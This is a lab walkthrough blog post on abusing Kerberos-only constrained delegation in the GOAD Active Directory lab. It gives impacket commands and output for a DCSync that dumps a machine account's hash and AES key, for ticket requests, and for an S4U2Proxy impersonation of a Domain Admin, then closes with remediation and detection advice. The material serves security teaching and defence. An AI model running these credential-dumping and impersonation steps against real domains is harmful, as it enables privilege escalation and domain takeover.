This post covers Kerberos-only constrained delegation, where the delegating principal has msDS-AllowedToDelegateTo set but lacks the TrustedToAuthForDelegation flag. Without that flag, S4U2Self is unavailable, meaning the attacking principal cannot synthesise a forwardable service ticket on its own. The attack reduces to S4U2Proxy only, and that has one hard requirement: you need a real, forwardable TGS from the impersonation target before the KDC will accept your delegation request.

This is a direct contrast to Part 2, where jon.snow had both flags set and S4U2Self let us forge a forwardable ticket from thin air, with no cooperation from the target user at all.


What the Lab Configures

GOAD provisions this via constrained_delegation_kerb_only.ps1 on WINTERFELL:

Set-ADComputer -Identity "castelblack$" -ServicePrincipalNames @{Add='HTTP/winterfell.north.sevenkingdoms.local'}
Set-ADComputer -Identity "castelblack$" -Add @{'msDS-AllowedToDelegateTo'=@('HTTP/winterfell.north.sevenkingdoms.local','HTTP/winterfell')}

The delegating principal is CASTELBLACK$, the machine account for the member server at 10.3.10.22. It is permitted to delegate to HTTP/winterfell.north.sevenkingdoms.local. The TrustedToAuthForDelegation bit is deliberately absent.

impacket-findDelegation confirms this from the attacker machine:

impacket-findDelegation 'north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor!' -dc-ip 10.3.10.11
AccountName   AccountType  DelegationType                       DelegationRightsTo
------------  -----------  -----------------------------------  -----------------------------------------
jon.snow      Person       Constrained w/ Protocol Transition   CIFS/winterfell
CASTELBLACK$  Computer     Constrained w/o Protocol Transition  HTTP/winterfell.north.sevenkingdoms.local
WINTERFELL$   Computer     Unconstrained                        N/A

jon.snow from Part 2 is still visible, configured with protocol transition. CASTELBLACK$ is the target for this post.


Why S4U2Self Fails Here

In Part 2, the attack flow was:

  1. Obtain TGT for jon.snow
  2. S4U2Self: request a forwardable TGS for any user to jon.snow‘s own SPN (works because TrustedToAuthForDelegation is set)
  3. S4U2Proxy: present that forwardable TGS to the KDC to get a TGS to the target SPN

Without TrustedToAuthForDelegation, the KDC will still process a S4U2Self request, but it returns a TGS without the forwardable flag. Presenting a non-forwardable ticket to S4U2Proxy causes the KDC to reject the request with KDC_ERR_BADOPTION.

Testing this directly:

impacket-getTGT 'north.sevenkingdoms.local/CASTELBLACK$' \
  -aesKey 7e70413ef7973bac72e0a6d3668be89ecdd01a992855cda5bf24ec72ad3c5ee4 \
  -dc-ip 10.3.10.11

KRB5CCNAME=CASTELBLACK\$.ccache impacket-getST \
  -spn 'HTTP/winterfell.north.sevenkingdoms.local' \
  -impersonate 'eddard.stark' \
  -k -no-pass -dc-ip 10.3.10.11 \
  'north.sevenkingdoms.local/CASTELBLACK$'
[*] Impersonating eddard.stark
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user CASTELBLACK$ or initial TGT not forwardable

The KDC refuses. S4U2Proxy requires a forwardable input ticket, and S4U2Self cannot produce one without protocol transition enabled.


Obtaining CASTELBLACK$ Credentials

The machine account hash is retrievable via DCSync using any Domain Admin. From a previously compromised eddard.stark:

impacket-secretsdump 'north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor!@10.3.10.11' \
  -just-dc-user 'CASTELBLACK$'
CASTELBLACK$:1105:aad3b435b51404eeaad3b435b51404ee:eb425984cc7c26205fb77b32fac84c4d:::
[*] Kerberos keys grabbed
CASTELBLACK$:aes256-cts-hmac-sha1-96:7e70413ef7973bac72e0a6d3668be89ecdd01a992855cda5bf24ec72ad3c5ee4

The AES256 key is preferred over the NT hash to avoid RC4 downgrade negotiation issues in newer environments.


Obtaining a Forwardable TGS for the Target User

The constraint is real: we need a TGS that a user legitimately obtained by authenticating to the HTTP/winterfell.north.sevenkingdoms.local SPN, which is hosted on CASTELBLACK$. This ticket must have the forwardable flag.

In a live intrusion scenario, this ticket might already exist in LSASS memory on CASTELBLACK if a privileged user has recently connected. With code execution on the box, it can be extracted directly.

In this lab, the forwardable TGS is obtained by requesting a service ticket for eddard.stark to the target SPN. Because the domain’s Kerberos policy has forwardable tickets enabled by default and eddard.stark is not in the Protected Users group, the KDC issues a forwardable TGS:

impacket-getST \
  -spn 'HTTP/winterfell.north.sevenkingdoms.local' \
  -dc-ip 10.3.10.11 \
  'north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor!'
[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in eddard.stark@HTTP_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

Verify the forwardable flag is set:

impacket-describeTicket \
  'eddard.stark@HTTP_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache' \
  2>&1 | grep Flags
[*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep

The forwardable flag is present. This ticket is now usable as evidence of prior authentication.


S4U2Proxy

With a forwardable TGS in hand and the TGT for CASTELBLACK$, the S4U2Proxy request is straightforward. The -additional-ticket parameter passes the forwardable TGS directly, bypassing S4U2Self entirely:

# TGT for CASTELBLACK$ obtained earlier
impacket-getTGT 'north.sevenkingdoms.local/CASTELBLACK$' \
  -aesKey 7e70413ef7973bac72e0a6d3668be89ecdd01a992855cda5bf24ec72ad3c5ee4 \
  -dc-ip 10.3.10.11

# S4U2Proxy using the forwardable TGS as input
KRB5CCNAME=/tmp/CASTELBLACK\$.ccache impacket-getST \
  -spn 'HTTP/winterfell.north.sevenkingdoms.local' \
  -impersonate 'eddard.stark' \
  -additional-ticket 'eddard.stark@HTTP_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache' \
  -k -no-pass -dc-ip 10.3.10.11 \
  'north.sevenkingdoms.local/CASTELBLACK$'
[*] Impersonating eddard.stark
[*] Using additional ticket eddard.stark@HTTP_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in eddard.stark@HTTP_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

The result is a delegated TGS for eddard.stark (Domain Admin) to HTTP/winterfell.north.sevenkingdoms.local, issued by the KDC on behalf of CASTELBLACK$.

impacket-describeTicket confirms the final ticket:

[*] User Name      : eddard.stark
[*] User Realm     : NORTH.SEVENKINGDOMS.LOCAL
[*] Service Name   : HTTP/winterfell.north.sevenkingdoms.local
[*] Flags          : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[*] Encryption type: aes256_cts_hmac_sha1_96 (etype 18)

Contrast with Part 2

Part 2 (jon.snow)This post (CASTELBLACK$)
FlagTrustedToAuthForDelegation + AllowedToDelegateToAllowedToDelegateTo only
S4U2SelfAvailable, produces forwardable TGSUnavailable (or produces non-forwardable)
S4U2Proxy inputSynthesised forwardable TGSReal forwardable TGS from authenticated session
Attacker requirementTGT for delegating account onlyTGT for delegating account AND forwardable TGS from target user
Real-world difficultyLower: no user interaction neededHigher: depends on session material or coercion

Kerberos only constrained delegation is a deliberate hardening measure. It closes the protocol transition path. However, if an attacker already has code execution on the machine hosting the delegating account, extracting a cached forwardable TGS from LSASS or the session store is a realistic step that restores the full attack.


Remediation

Audit delegation settings. Run impacket-findDelegation or BloodHound against each domain regularly. Any account with msDS-AllowedToDelegateTo set to user or machine is a potential privilege escalation path if its credentials are compromised.

Prefer resource-based constrained delegation (RBCD) over account-based constrained delegation. RBCD places the delegation permission on the resource, not the requesting principal, making it easier to audit and scope.

Add high value accounts to Protected Users. Members of Protected Users cannot be delegated to and their Kerberos tickets are not forwardable. eddard.stark as Domain Admin should be in this group; without it, a forwardable TGS for the account can be obtained by any principal that can authenticate normally.

Do not store machine account credentials accessibly. Machine account hashes are extractable via DCSync by any Domain Admin. Reducing the number of principals with DCSync rights (GenericAll, Replicating Directory Changes All) limits the blast radius.

Monitor S4U2Proxy requests. Windows event ID 4769 logs Kerberos service ticket requests. S4U2Proxy requests are identifiable by the Transited-Services field in the ticket data. Alerting on unexpected delegation chains, particularly to HTTP/ SPNs on domain controllers, will surface abuse of this technique.


0 Comments

Leave a Reply

Avatar placeholder

Your email address will not be published. Required fields are marked *